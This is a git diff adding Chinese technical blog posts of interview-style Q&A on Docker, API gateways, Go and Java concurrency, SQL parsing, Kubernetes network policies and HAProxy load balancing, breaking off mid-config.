+ +Docker Container: +功能:Docker容器是Docker镜像的运行实例。它是一个独立的运行环境,包含应用及其依赖,但与主机系统和其他容器隔离。 +实际应用:当使用docker run命令启动一个应用时,实际上是在创建并运行一个Docker容器。 + +除了上述主要组件,Docker还有其他组件,如Docker Compose(用于定义和运行多容器Docker应用程序)、Docker Swarm(用于集群管理和编排)和Docker Registry(用于存储和分发Docker镜像)。但上述四个组件是Docker架构中最核心的部分。 + + +> 什么是Dockerfile?请描述其主要指令及其用途。 + +用途:指定基础镜像。所有后续的指令都基于这个镜像。 +示例:FROM ubuntu:20.04 + +RUN: +用途:执行命令并创建新的镜像层。常用于安装软件包。 +示例:RUN apt-get update && apt-get install -y nginx + +CMD: +用途:提供容器默认的执行命令。如果在docker run中指定了命令,那么CMD指令会被覆盖。 +示例:CMD ["nginx", "-g", "daemon off;"] + +ENTRYPOINT: +用途:配置容器启动时运行的命令,并且不会被docker run中的命令参数覆盖。 +示例:ENTRYPOINT ["echo"] + +WORKDIR: +用途:设置工作目录。后续的RUN、CMD、ENTRYPOINT、COPY和ADD指令都会在这个目录下执行。 +示例:WORKDIR /app + +COPY: +用途:从宿主机复制文件或目录到容器中。 +示例:COPY ./app /app + +ADD: +用途:与COPY类似,但可以自动解压压缩文件,并支持远程URL。 +示例:ADD https://example.com/app.tar.gz /app + +EXPOSE: +用途:声明容器内部服务监听的端口。 +示例:EXPOSE 80 + +ENV: +用途:设置环境变量。 +示例:ENV MY_ENV_VAR=value + +VOLUME: +用途:创建一个数据卷,可以用于存储和持久化数据。 +示例:VOLUME /data + +USER: +用途:指定运行容器时的用户名或UID。 +示例:USER nginx + +LABEL: +用途:为镜像添加元数据。 +示例:LABEL version="1.0" + + +> 如何查看正在运行的容器及其日志? + +查看正在运行的容器: +使用docker ps命令可以查看当前正在运行的容器。如果想查看所有容器(包括已停止的),可以使用docker ps -a。 + +```bash +docker ps +``` +查看容器日志: +使用docker logs命令后跟容器的ID或名称,可以查看指定容器的日志。 + +```bash +docker logs [CONTAINER_ID_OR_NAME] +``` +如果想实时查看容器的日志输出,可以添加-f或--follow选项: + +```bash +docker logs -f [CONTAINER_ID_OR_NAME] +``` + +> 描述如何进入一个正在运行的容器的shell。 + +可以使用docker exec命令与-it选项来进入一个正在运行的容器的shell。通常,我们会使用/bin/sh或/bin/bash作为要执行的命令,这取决于容器内部是否安装了bash。 + +```shell +docker exec -it [CONTAINER_ID_OR_NAME] /bin/sh +``` + +或者,如果容器内有bash,可以使用: +```shell +docker exec -it [CONTAINER_ID_OR_NAME] /bin/bash +``` + +> 如果容器启动失败,会如何进行故障排查? + +如果容器启动失败,以下是一系列的故障排查步骤: + +查看容器日志: +使用docker logs [CONTAINER_ID_OR_NAME]命令查看容器的日志输出。这通常是获取关于容器失败原因的第一手信息的最直接方法。 + +检查Dockerfile: +确保基础镜像是正确和最新的。 +确保所有的指令都正确无误,特别是RUN, CMD, 和 ENTRYPOINT指令。 + +使用docker ps -a: +这个命令会显示所有的容器,包括已经停止的。查看容器的状态和退出代码可以提供有关其失败原因的线索。 + +检查容器配置: +使用docker inspect [CONTAINER_ID_OR_NAME]命令查看容器的详细配置信息。这可能会帮助识别配置错误或其他问题。 + +检查资源限制: +如果为容器设置了资源限制(如CPU、内存),确保这些限制不会导致容器启动失败。 + +检查存储和数据卷: +如果容器依赖于特定的存储或数据卷,确保它们是可访问的并且权限设置正确。 + +网络问题: + +使用docker network ls查看网络配置。 +```shell +MacBook-Air ~ % docker network ls +NETWORK ID NAME DRIVER SCOPE +985cf2523be2 bridge bridge local +16553b45ec89 galera_network bridge local +84a4f59a4dd1 gongna_default bridge local +cdb7758722a8 host host local +45d5159760ec mysql-net bridge local +1ef0ef191a0f none null local +cbb032955f15 pxc-network bridge local +``` +如果容器需要连接到特定的网络,确保网络存在并且配置正确。 +检查端口映射和其他网络设置。 + +尝试启动容器与交互模式: +使用docker run -it [IMAGE] /bin/sh(或/bin/bash)尝试以交互模式启动容器。这可能会帮助直接在容器内部进行故障排查。 + +检查Docker守护进程日志: +Docker守护进程的日志可能包含有关容器启动失败的有用信息。日志的位置取决于的系统配置,但常见的位置是/var/log/docker.log。 + +外部依赖: +如果容器依赖于外部服务(如数据库或API),确保这些服务是可用的。 + +> 如何连接容器到一个自定义网络? + +首先,需要创建一个自定义网络。使用以下命令创建一个自定义的桥接网络: + +```bash +docker network create [NETWORK_NAME] +``` +当运行一个新的容器时,可以使用--network选项将其连接到这个自定义网络: + +```bash +docker run --network=[NETWORK_NAME] [OTHER_OPTIONS] [IMAGE] +``` +如果已经有一个正在运行的容器,并希望将其连接到自定义网络,可以使用以下命令: + +```bash +docker network connect [NETWORK_NAME] [CONTAINER_ID_OR_NAME] +``` + +> 如何限制容器之间的通信? + +默认桥接网络:在Docker的默认桥接网络模式下,容器之间是可以相互通信的。但是,可以启动Docker守护进程时使用--icc=false选项来禁止这种通信。 + +用户定义的桥接网络:在用户定义的桥接网络中,容器之间默认是可以相互通信的。但与默认桥接网络不同,可以使用网络策略来限制特定容器之间的通信。 + +```shell +在用户定义的桥接网络中,容器之间可以通过容器名进行DNS解析,从而实现容器间的通信。而在默认桥接网络中,这种DNS解析是不可用的。 +创建一个用户定义的桥接网络: + +docker network create my_custom_network +运行两个容器在这个网络中: + + +docker run --network=my_custom_network --name container1 -d nginx +docker run --network=my_custom_network --name container2 -d nginx +在这种设置下,container1可以通过DNS名container2访问container2,反之亦然。 +``` + +Overlay网络:在Swarm模式下,可以使用Overlay网络,并通过网络策略来限制服务之间的通信。 + +网络策略:Docker 1.13及更高版本支持基于Swarm模式的网络策略。这允许定义哪些服务可以通信,以及它们如何通信 + +> Kubernetes,如何限制两个容器或服务之间的通信?给出具体的例子说明 + +前提条件: + +的Kubernetes集群必须使用支持网络策略的网络解决方案,如Calico、Cilium或Weave Net。 +默认情况下,Pods是非隔离的,它们可以与任何其他Pod通信。 +创建两个Pod: + +假设有两个Pod,名为pod-a和pod-b,它们都在名为my-namespace的命名空间中。 + +限制pod-a只能与pod-b通信: + +创建一个NetworkPolicy,允许pod-a与pod-b通信,但不允许与其他任何Pod通信: + +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-pod-a-to-pod-b + namespace: my-namespace +spec: + podSelector: + matchLabels: + name: pod-a + policyTypes: + - Ingress + ingress: + - from: + - podSelector: + matchLabels: + name: pod-b +``` + +在pod-a中尝试ping或curl其他Pod,会发现只有与pod-b的通信是允许的,其他的都会被阻止。 + +> 如何构建、拉取和推送Docker镜像? + +构建 +```shell +docker build -t [IMAGE_NAME]:[TAG] [PATH_TO_DOCKERFILE] +``` +拉取 +```shell +docker pull [IMAGE_NAME]:[TAG] +``` +推送 +```shell +docker login [REPOSITORY_URL] +docker push [IMAGE_NAME]:[TAG] +``` +> 描述如何优化Docker镜像的大小。 + +使用更小的基础镜像:例如,使用alpine版本的官方镜像,它们通常比其他版本小得多。 +多阶段构建:这允许在一个阶段安装/编译应用程序,然后在另一个更轻量级的阶段复制必要的文件。 +清理不必要的文件:在构建过程中,删除临时文件、缓存和不必要的软件包。 +链式命令:在Dockerfile中,使用&&将命令链在一起,这样它们就会在一个层中执行,从而减少总层数。 +避免安装不必要的软件包:只安装运行应用程序所需的软件包。 + +> 如何确保Docker镜像的安全性? + +使用官方或受信任的镜像:始终尽量使用官方的基础镜像,并确保从受信任的源获取其他镜像。 +定期扫描镜像:使用工具如Clair、Anchore、Trivy等来扫描镜像中的已知漏洞。 +最小化运行时权限:避免在容器中以root用户运行应用程序。使用非特权用户。 +使用Docker内容信任:这确保了镜像的完整性和发布者。 +更新镜像:定期更新基础镜像和软件包以确保安全补丁是最新的。 +限制容器的运行时能力:使用如--cap-drop和--cap-add来限制容器的Linux能力。 +使用安全上下文和隔离:例如,在Kubernetes中使用PodSecurityPolicies、在Docker中使用用户命名空间等。 diff --git a/_posts/2023-10-14-test-markdown.md b/_posts/2023-10-14-test-markdown.md new file mode 100644 index 000000000000..956f7f63838f --- /dev/null +++ b/_posts/2023-10-14-test-markdown.md @@ -0,0 +1,573 @@ +--- +layout: post +title: 网关相关 +subtitle: +tags: [Gateway] +comments: true +--- + +## 1.基础 + +> 什么是API网关? + +API网关是一个服务器,它充当API前端和后端服务之间的中介,用于接收API请求、执行各种必要的处理,并将请求路由到适当的微服务。它可以处理不同的跨切面任务,如请求路由、负载均衡、身份验证、授权、安全策略执行、流量监控、日志记录、缓存、请求和响应转换等。 + +> API网关在微服务架构中的作用是什么? + +请求路由:当一个客户端请求到达API网关时,网关负责将该请求路由到适当的微服务。 + +负载均衡:API网关可以分发进入的请求流量,确保微服务实例之间的负载均衡。 + +身份验证和授权:网关可以验证请求的来源,确保它们来自合法的用户,并授权他们访问特定的服务或资源。 + +请求和响应转换:API网关可以修改请求和响应,以满足特定的前端或后端需求。 + +安全策略执行:例如,防止DDoS攻击、SQL注入等。 + +流量监控和日志记录:API网关可以记录关于请求和响应的详细信息,以进行分析和监控。 + +缓存:为了提高性能,API网关可以缓存后端服务的响应。 + +服务发现:在动态的微服务环境中,API网关可以自动发现新的服务实例并将流量路由到它们。 + +网关的服务发现通常不是自己独立实现的,而是依赖于现有的服务发现机制或注册中心,如Zookeeper、Consul、Etcd、Eureka等。这些注册中心提供了一种方式,使得服务实例在启动时可以注册自己,并在关闭时注销,同时还可以提供健康检查功能。 + +> 以下是网关服务发现的一般工作原理: + +**服务注册**:当一个新的服务实例启动时,它会在注册中心注册自己,提供一些元数据,如服务的IP地址、端口、版本、健康检查端点等。 + +**健康检查**:注册中心会定期对注册的服务实例进行健康检查。如果某个服务实例不再健康或无法访问,注册中心会将其标记为不可用。 + +**服务发现**:当API网关需要路由一个请求到某个服务时,它会查询注册中心,获取该服务的所有健康实例的列表。然后,网关可以使用某种负载均衡策略(如轮询、最少连接等)来选择一个服务实例,并将请求路由到该实例。 + +**动态更新**:如果服务实例的状态发生变化(例如,新的实例被添加或现有的实例失败),注册中心会通知所有监听这些变化的客户端(如API网关)。这样,网关可以实时更新其路由决策,确保请求总是被路由到健康的服务实例。 + +**负载均衡**:在得到健康的服务实例列表后,网关可以使用负载均衡算法来决定将请求路由到哪个实例。 + +**故障转移**:如果选定的服务实例突然变得不可用,网关可以重新选择另一个健康的实例,并重新路由请求。 + +借助注册中心和服务发现机制,API网关可以确保高可用性和弹性,即使在动态的、经常变化的微服务环境中也是如此。 + +> 网关和代理之间的主要区别是什么? + +功能性:代理通常是一个中介,它在客户端和服务器之间转发HTTP请求,而API网关更为复杂,提供了上述的多种功能,如请求路由、负载均衡、身份验证等。 +用途:代理主要用于转发请求,可能会进行内容过滤或提供匿名访问。API网关则专为API设计,处理API的特定需求。 +智能性:API网关通常比简单的代理更“智能”,因为它知道如何路由请求、如何与多个微服务交互,以及如何应用各种策略。 +位置:代理可以位于客户端或服务器的任何位置,而API网关通常位于API的前端,作为所有请求的入口点。 + +> 网关故障 + +高可用性部署:部署多个网关实例,通常跨越多个物理位置或云区域。这样,如果一个实例或一个区域发生故障,其他实例仍然可以处理请求。 + +负载均衡器:在网关前面使用负载均衡器(如Nginx、HAProxy或云提供商的负载均衡器)。负载均衡器可以检测网关实例的健康状况,并将流量路由到健康的实例。 + +自动恢复:使用容器编排工具(如Kubernetes)可以确保当网关实例发生故障时,自动启动新的实例来替换它。 + +故障转移:预先配置故障转移策略,以便在主要网关或区域发生故障时,流量可以被重定向到备用的网关或区域。 + +监控和警报:持续监控网关的健康状况和性能指标,并在检测到问题时立即发出警报,以便运维团队可以迅速采取行动。 + +限流和熔断:使用限流和熔断机制来防止系统过载。如果一个服务开始响应缓慢或失败,熔断器可以“断开”该服务,防止进一步的请求,直到服务恢复正常。 + +备份和灾难恢复:定期备份网关的配置和数据,并确保有一个灾难恢复计划,以便在发生大规模故障时可以迅速恢复服务。 + +测试:定期进行故障注入和混沌工程实验,模拟网关故障,以确保上述策略和措施的有效性,并训练团队应对真实故障。 + + +> 使用API网关进行流量控制或限流 + +流量控制或限流是API网关中的关键功能,用于防止系统过载并确保资源的公平使用。以下是实现流量控制的常见方法: + +令牌桶算法:每个请求都需要从桶中获取一个令牌。桶以固定的速率添加令牌,如果桶为空,请求将被拒绝。这种方法允许突发流量,但长时间的流量不会超过配置的速率。 + +漏桶算法:请求进入一个“漏桶”,然后以固定的速率流出。如果桶满了,新的请求将被拒绝。 + +固定窗口限流:将时间分为固定的窗口,并限制每个窗口中的请求次数。这种方法简单,但可能在窗口边界时导致流量突增。 + +滑动日志限流:记录每个请求的时间戳,并在任何时候都计算最近的时间窗口内的请求总数。 + +分布式限流:对于分布式系统,可以使用中央存储(如Redis)来跟踪全局请求速率。 + +客户端限流:基于客户端IP或API密钥进行限流,确保单个客户端不会占用过多资源。 + +处理跨域请求(CORS): + +跨域资源共享(CORS)是一种安全机制,允许web页面请求来自不同域的资源。API网关可以处理CORS请求,提供集中的跨域策略管理。 + +预检请求:当浏览器检测到跨域请求可能对服务器数据产生副作用时(例如POST请求),它会首先发送一个预检请求(HTTP OPTIONS方法)。API网关可以捕获这些请求并返回允许的HTTP方法和其他CORS相关的头信息。 + +简单请求:对于某些类型的跨域GET请求和POST请求,浏览器不会发送预检请求。在这种情况下,API网关只需在响应中添加适当的CORS头。 + +设置CORS头:API网关可以配置为自动添加以下CORS相关的HTTP头: + +Access-Control-Allow-Origin: 指定哪些域可以访问资源。 +Access-Control-Allow-Methods: 指定允许的HTTP方法。 +Access-Control-Allow-Headers: 指定允许的HTTP头。 +Access-Control-Allow-Credentials: 指定是否允许浏览器包含凭据。 +Access-Control-Max-Age: 指定预检请求的结果可以缓存多长时间。 + +> 使用API网关进行身份验证和授权: + +身份验证:API网关可以集中处理所有入站请求的身份验证。常见的方法包括: +API密钥:每个请求都需要提供一个预先共享的密钥。 +JWT (JSON Web Tokens):客户端发送一个签名的token,网关验证该token的签名并从中提取用户信息。 +OAuth:使用第三方身份提供者进行身份验证,并为客户端提供一个token,该token随后用于访问API。 +授权:一旦用户被身份验证,API网关可以检查用户的角色或权限,以确定他们是否有权访问请求的资源。 + +> 网关如何帮助在微服务之间进行请求路由: + +服务发现:API网关可以与服务发现组件(如Consul、Eureka或Zookeeper)集成,以动态地知道每个服务的位置。 +负载均衡:网关可以根据某种策略(如轮询、最少连接或响应时间)将请求分发到多个服务实例。 +版本管理:如果有多个版本的服务,API网关可以根据请求的头信息、路径或其他属性将流量路由到正确的服务版本。 +蓝绿部署或金丝雀发布:API网关可以将一部分流量路由到新版本的服务,以进行测试。 + +> 使用网关来集中处理日志和监控: + +日志聚合:API网关可以捕获所有进入和离开的请求和响应日志,并将它们发送到集中的日志系统,如ELK堆栈(Elasticsearch、Logstash、Kibana)或Graylog。 +性能指标:API网关可以收集关于请求速率、响应时间和服务健康状况的指标,并将这些数据推送到监控解决方案,如Prometheus、Graphite或Datadog。 + +日志聚合:API网关可以捕获所有进入和离开的请求和响应日志,并将它们发送到集中的日志系统,如ELK堆栈(Elasticsearch、Logstash、Kibana)或Graylog。 +性能指标:API网关可以收集关于请求速率、响应时间和服务健康状况的指标,并将这些数据推送到监控解决方案,如Prometheus、Graphite或Datadog。 +错误跟踪:API网关可以捕获从服务返回的任何错误或异常,并将详细信息发送到错误跟踪系统,如Sentry或Rollbar。 +分布式追踪:对于复杂的微服务交互,API网关可以使用像Jaeger或Zipkin这样的工具来支持分布式追踪,以便更好地理解请求如何在系统中流动。 + +> 网关可以解析响应时间从以下几个方面: + +请求开始时间:当API网关开始处理一个入站请求时,它会记录当前的时间戳。 + +请求结束时间:当API网关从下游服务接收到响应并准备将其转发回客户端时,它会再次记录当前的时间戳。 + +计算响应时间:网关可以通过简单地从请求结束时间中减去请求开始时间来计算响应时间。这给出了从客户端发送请求到网关,再从网关发送请求到目标服务,然后再从目标服务返回响应到网关,最后从网关返回响应到客户端的总时间。 + +中间件/拦截器:许多现代的API网关或反向代理软件(如Nginx, Kong, Traefik等)提供中间件或拦截器功能,这些功能可以自动记录这些时间戳并计算响应时间。 + +日志和监控:一旦计算出响应时间,网关可以将其记录在访问日志中,并/或将其作为性能指标发送到监控系统。 + +考虑网络延迟:值得注意的是,这种方法计算的响应时间包括了网络延迟,特别是从API网关到目标服务的延迟。如果要单独测量服务的处理时间,需要在服务端进行测量。 + +> 网关从哪里可以解析到响应时间呢? + +一个中间件实现计算响应时间的基本原理是在请求的生命周期的开始和结束时记录时间戳,然后计算这两个时间戳之间的差异。以下是一个简化的步骤,描述如何在中间件中实现响应时间的计算: + +记录请求开始时间: +当请求到达中间件时,立即记录当前的时间戳。这可以使用高精度的时间函数来完成,以确保准确性。 + +继续请求处理: +中间件将请求传递给下一个处理程序或中间件。在Web框架中,这通常是通过调用某种“next”或“continue”函数来完成的。 + +记录请求结束时间: +当下一个处理程序或中间件完成处理并返回响应时,再次记录当前的时间戳。 + +计算响应时间: +使用结束时间减去开始时间来计算响应时间。 + +记录或使用响应时间: +得到的响应时间可以记录在日志中、添加到响应头中、发送到监控系统或用于其他目的。 + +以下是一个简单的示例,使用伪代码展示如何在中间件中实现响应时间的计算: + +```go +function responseTimeMiddleware(request, response, next) { + // 1. 记录请求开始时间 + let startTime = getCurrentTimestamp() + + // 2. 继续请求处理 + next() + + // 3. 记录请求结束时间 + let endTime = getCurrentTimestamp() + + // 4. 计算响应时间 + let duration = endTime - startTime + + // 5. 记录或使用响应时间 + log("Response time:", duration) + response.setHeader("X-Response-Time", duration) +} +``` +这只是一个基本的示例,实际的实现可能会更复杂,特别是在异步环境中。但基本的原理是相同的:在请求的开始和结束时记录时间,然后计算差异。 + + + +## 2.Java 和Go + +Go和Java在并发方面都提供了强大的工具和特性,但它们的方法和哲学是不同的。以下是两者在并发方面的主要区别: + +并发原语: +Java: Java提供了多种并发原语,如synchronized关键字、wait()、notify()和notifyAll()方法,以及ReentrantLock、Condition、Semaphore等高级并发库。 +Go: Go有其自己的并发原语,包括goroutines(轻量级线程)和channels(用于goroutines之间的通信)。 + +并发模型: +Java: Java使用的主要是线程模型。Java线程在操作系统层面映射为本地线程。 +Go: Go使用了CSP(Communicating Sequential Processes)模型。在Go中,会启动数以万计的goroutines,但它们不直接映射为操作系统的线程。Go的运行时会在少量的OS线程上调度这些goroutines。 + +内存模型: +Java: Java有一个明确定义的内存模型,它定义了多线程程序中变量的可见性规则。 +Go: Go也有其内存模型,但与Java的内存模型相比,它更简洁、直接。 + +锁和同步: +Java: Java提供了各种锁和同步工具,如ReentrantLock、ReadWriteLock、CountDownLatch、CyclicBarrier等。 + +Go: Go更倾向于使用channels来实现同步,但也提供了像sync.Mutex和sync.WaitGroup这样的同步工具。 + +并发库: +Java: Java有一个强大的并发库java.util.concurrent,提供了许多高级工具和数据结构。 +Go: Go标准库中有sync和sync/atomic包,以及一些其他工具,但相对来说它的并发工具库更为简洁。 + +异常处理: +Java: Java使用try-catch块来处理并发中的异常。 +Go: Go使用内建的panic和recover机制,但这在并发编程中并不是主流做法。Go更鼓励显式地返回错误并处理它们。 + +性能和优化: +Java: JVM进行了大量的优化,包括JIT编译、垃圾收集和线程优化。但Java线程有时可能因为JVM和操作系统之间的交互而产生开销。 +Go: Go运行时直接管理goroutines的调度,这通常意味着更少的上下文切换和更高效的执行。 +两者都有自己的优势。Java的并发工具库更加成熟和全面,但可能需要更多的资源。Go提供了一个简单、直接和高效的方式来处理并发,但可能需要开发者对CSP模型有更深入的理解。 + + +> Go的运行时会在少量的OS线程上调度这些goroutines。这里的少量的OS线程和Java线程在操作系统层面映射的本地线程有什么区别? + +实现: + +Go goroutines: 当在Go中启动一个goroutine时,它不是直接映射到一个操作系统线程上的。相反,Go运行时维护了一些真实的操作系统线程,并在这些线程上调度多个goroutines运行。这是通过Go的M:N调度模型实现的,其中M代表真实的操作系统线程,N代表goroutines。 +Java线程: 当在Java中创建一个线程时,它通常直接映射到一个操作系统线程。这是一个1:1模型。 + +开销和效率: +Go goroutines: Goroutines设计得非常轻量。它们有更小的栈(通常从2KB开始,但可以动态增长),并且创建、销毁的成本都很低。由于在少量的OS线程上进行调度,goroutines的上下文切换成本也通常比传统的线程低。 +Java线程: 由于Java线程是直接映射到操作系统线程的,它们的开销通常比goroutines大。线程的栈空间、创建和销毁的成本都比较高。此外,频繁的上下文切换可能会导致性能下降。 + +可伸缩性: +Go goroutines: 由于goroutines的轻量性,可以在一个程序中创建数以万计、甚至百万计的goroutines,而不会导致系统资源耗尽。 +Java线程: 创建大量的Java线程可能会迅速耗尽系统资源,尤其是内存。因此,Java程序通常依赖于线程池来重复使用线程,以避免创建和销毁的开销。 + +控制和灵活性: +Go: Go的运行时对线程的管理提供了很大的控制权,例如可以设置使用的最大OS线程数。 +Java: Java提供了对线程的低级访问,但很多细节(如线程调度)是由操作系统和JVM控制的。 +总的来说,Go的并发模型主要关注轻量级、高效和可伸缩性,而Java的并发模型则依赖于操作系统的线程模型,可能需要更多的资源管理和优化。 + +## 3.SQL 请求经过中间件的过程 + +词法分析: +操作: 输入的SQL字符串首先会被分解成一个令牌序列。 +结果: 例如,SELECT, name, FROM, employees,等等。 +如何被使用: 这些令牌会被语法分析器用来构建一个抽象语法树(AST)。 + +语法分析: +操作: 使用预定义的语法规则(通常定义在.y文件中)解析令牌序列。 +结果: 一个代表查询结构的AST。 +如何被使用: AST会被用于后续的查询优化、分析和执行。 + +语义分析: +操作: 检查查询的语义是否正确。例如,确保name和department列确实存在于employees表中。 +结果: 验证了的AST。 +如何被使用: 只有在验证了查询的语义之后,才会进行进一步的处理。 + +查询优化: +操作: 重新组织或简化查询以提高执行效率。这可能涉及改变连接的顺序、选择不同的索引等。 +结果: 一个优化了的AST。 +如何被使用: 这个优化了的AST会被用于生成执行计划。 + +执行计划生成: +操作: 根据优化了的AST,确定如何实际执行查询。这包括决定使用哪个索引、如何进行表连接等。 +结果: 一个执行计划。 +如何被使用: 执行引擎使用这个执行计划来实际执行查询。 + +查询执行: +操作: 中间件执行生成的计划,可能涉及在一个或多个数据库实例上执行部分查询。 +结果: 从数据库实例检索到的数据。 +如何被使用: 如果中间件服务多个数据库实例(例如,在分片环境中),它可能需要合并各个实例的结果,并返回给客户端。 + +结果传回客户端: +操作: 一旦查询执行完毕并且所有的结果都被收集,这些结果就会被格式化并发送回客户端。 +结果: 最终的查询结果。 +如何被使用: 客户端收到结果后进行相应的处理,例如展示给用户或者进一步的处理。 +在整个过程中,从最初的SQL字符串到最终的查询结果,每一步都构建或使用前一步的输出来完成其工作。 + +## 4.Parser的工作原理 + +工作流程: + +通过SQL字符串输入。 +词法分析器(通常由工具如Lex生成)将字符串转换为一个令牌序列。 +语法分析器读取这些令牌,并参考parser.y中定义的规则尝试匹配这些令牌。 +当找到匹配的规则时,执行与之关联的动作,通常是构建AST的部分。 +最终,完整的AST被构建并返回给调用者。 + + +> 令牌序列怎么理解? + +词法分析,通常称为扫描或词法化,是将输入字符串分解为一系列称为"令牌"(tokens)的过程。这些令牌是源代码中的单个元素或实体。 + +令牌(token)的概念可以被理解为源代码中的“词”或“符号”。例如,在编程和查询语言中,关键字、变量、操作符、标识符、字面量和其他语法元素都可以被视为令牌。 + +让我们通过一个简单的SQL查询来理解令牌序列的概念: + +```sql +SELECT name FROM users WHERE age > 25; +``` +对于上述查询,一个词法分析器可能会生成以下的令牌序列: + +```shell +SELECT (关键字) +name (标识符) +FROM (关键字) +users (标识符) +WHERE (关键字) +age (标识符) +> (操作符) +25 (数值字面量) +; (终止符) +``` +这个令牌序列可以被视为原始SQL查询的“断词”版本。每个令牌都包含了关于其类型和位置的信息,这些信息在后续的语法分析阶段非常有用。 + +在编译器和解释器的上下文中,词法分析是第一步,它简化了后续的语法分析阶段,因为处理令牌序列通常比直接处理原始输入字符串更容易。 + + +> SQL流转的过程 + +当一个数据库中间件接收到上述的SQL查询时,它会经过一系列的步骤来处理这个查询。以下是这个处理过程的逐步描述: + +词法分析: + +操作: 输入的SQL字符串首先会被分解成一个令牌序列。 +结果: 例如,SELECT, name, FROM, employees,等等。 +如何被使用: 这些令牌会被语法分析器用来构建一个抽象语法树(AST)。 + +语法分析: +操作: 使用预定义的语法规则(通常定义在.y文件中)解析令牌序列。 +结果: 一个代表查询结构的AST。 +如何被使用: AST会被用于后续的查询优化、分析和执行。 + +语义分析: +操作: 检查查询的语义是否正确。例如,确保name和department列确实存在于employees表中。 +结果: 验证了的AST。 +如何被使用: 只有在验证了查询的语义之后,才会进行进一步的处理。 + +查询优化: +操作: 重新组织或简化查询以提高执行效率。这可能涉及改变连接的顺序、选择不同的索引等。 +结果: 一个优化了的AST。 +如何被使用: 这个优化了的AST会被用于生成执行计划。 + +执行计划生成: +操作: 根据优化了的AST,确定如何实际执行查询。这包括决定使用哪个索引、如何进行表连接等。 +结果: 一个执行计划。 +如何被使用: 执行引擎使用这个执行计划来实际执行查询。 + +查询执行: +操作: 中间件执行生成的计划,可能涉及在一个或多个数据库实例上执行部分查询。 +结果: 从数据库实例检索到的数据。 +如何被使用: 如果中间件服务多个数据库实例(例如,在分片环境中),它可能需要合并各个实例的结果,并返回给客户端。 +结果传回客户端: + +操作: 一旦查询执行完毕并且所有的结果都被收集,这些结果就会被格式化并发送回客户端。 +结果: 最终的查询结果。 +如何被使用: 客户端收到结果后进行相应的处理,例如展示给用户或者进一步的处理。 +在整个过程中,从最初的SQL字符串到最终的查询结果,每一步都构建或使用前一步的输出来完成其工作。 + + +> Kubernetes的网络策略 + +Kubernetes的网络策略允许控制Pod之间的通信。以下是Kubernetes网络策略的主要组件和概念: + +PodSelector: 选择器定义了策略应用于哪些Pod。如果省略,策略将应用于所有Pod。 + +PolicyTypes: 定义策略应用于Pod的哪些流量类型。可以是"Ingress"、"Egress"或两者都有。 + +Ingress: 控制进入Pod的流量。 + +从特定的源地址或Pod选择器访问 +从特定的端口访问 +从特定的命名空间访问 +Egress: 控制从Pod发出的流量。 + +访问特定的目的地地址、Pod选择器或命名空间 +访问特定的端口 + +IPBlock: 允许指定CIDR范围的IP地址作为源或目的地。 + +Ports: 定义允许的端口和协议。 + +默认策略: 如果没有定义任何网络策略,大多数网络解决方案默认允许所有入站和出站流量。 + +隔离: 当至少有一个选择Pod的网络策略存在时,该Pod被视为"隔离"的。否则,它是"非隔离"的,并且所有入站和出站流量都被允许。 + + +隔离特定Pod的所有入站流量: +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: default-deny-ingress +spec: + podSelector: {} + policyTypes: + - Ingress +``` + +允许来自特定命名空间的流量: +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-namespace +spec: + podSelector: {} + ingress: + - from: + - namespaceSelector: + matchLabels: + project: myproject +``` +允许来自特定Pod的流量: +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-pod +spec: + podSelector: + matchLabels: + app: myapp + ingress: + - from: + - podSelector: + matchLabels: + role: frontend +``` +只允许来自特定 CIDR 范围的 IP 访问: +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-cidr +spec: + podSelector: + matchLabels: + app: myapp + ingress: + - from: + - ipBlock: + cidr: 172.17.0.0/16 + except: + - 172.17.1.0/24 +``` +限制 Pod 到特定端口的出站访问: +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: allow-egress-on-port +spec: + podSelector: + matchLabels: + app: myapp + egress: + - ports: + - protocol: TCP + port: 6379 +policyTypes: +- Egress +``` + +## 5.如何保证数据库中间件的高可用性? + +保证数据库中间件的高可用性是确保整个系统稳定性的关键部分。以下是一些常用的策略和方法来确保数据库中间件的高可用性: + +**冗余部署**: +- 使用主-备或多副本的架构来部署中间件。当主节点出现故障时,备用节点可以立即接管,确保服务的连续性。 + +**负载均衡**: +- 使用负载均衡器(如HAProxy、Nginx等)来分发流量,确保单点故障不会导致整个系统的瓶颈或故障。 + +**健康检查和故障转移**: +- 定期检查中间件的健康状态。当检测到节点故障时,自动将流量切换到健康的节点。 + +**数据同步和复制**: +- 保证所有中间件节点之间的数据同步,这样当一个节点失败时,其他节点可以无缝地接管。 + +**分布式设计**: +- 使用分布式系统设计原则,如CAP定理,来确保在网络分区或其他故障时,系统仍然可用。 + +**数据持久化**: +- 定期备份中间件的配置和状态,确保在故障发生后可以快速恢复。 + +**限流和熔断**: +- 使用限流和熔断机制来防止系统过载,确保在高流量情况下系统的稳定性。 + +**监控和告警**: +- 实施全面的监控策略,监控中间件的性能指标、错误率等。当出现异常时,立即发送告警,以便及时介入处理。 + +**灾难恢复计划**: +- 制定详细的灾难恢复计划,并定期进行演练,确保在真正的故障发生时,团队知道如何快速恢复服务。 + +**持续更新和维护**: +- 定期更新中间件软件,修复已知的漏洞和问题,确保系统的安全性和稳定性。 + +**扩展性**: +- 设计中间件以支持水平扩展,这样在需要处理更多的流量时,可以简单地添加更多的节点,而不是对现有节点进行升级。 + +通过上述策略和方法,可以大大提高数据库中间件的高可用性,确保在各种故障情况下,系统仍然可以正常运行。 + +## 6.HA 负载均衡器(如HAProxy、Nginx等)如何分发流量 + + +#### 准备工作: +首先,确保的Docker正在运行。 + +#### 创建两个简单的Web服务器: +我们将使用Docker运行两个简单的HTTP服务器。这些服务器将作为我们的后端服务,由HAProxy进行负载均衡。 + +```shell +docker run -d -p 8081:80 --name web1 nginx +docker run -d -p 8082:80 --name web2 nginx +``` + +#### 创建HAProxy配置文件 +在的本地机器上,创建一个名为haproxy.cfg的文件,并添加以下内容 +```shell +global + daemon + +defaults + mode http + timeout connect 5000ms + timeout client 50000ms + timeout server 50000ms + +frontend http_front + bind *:8080 + default_backend http_back + +backend http_back + balance roundrobin + server web1 host.docker.internal:8081 check + server web2 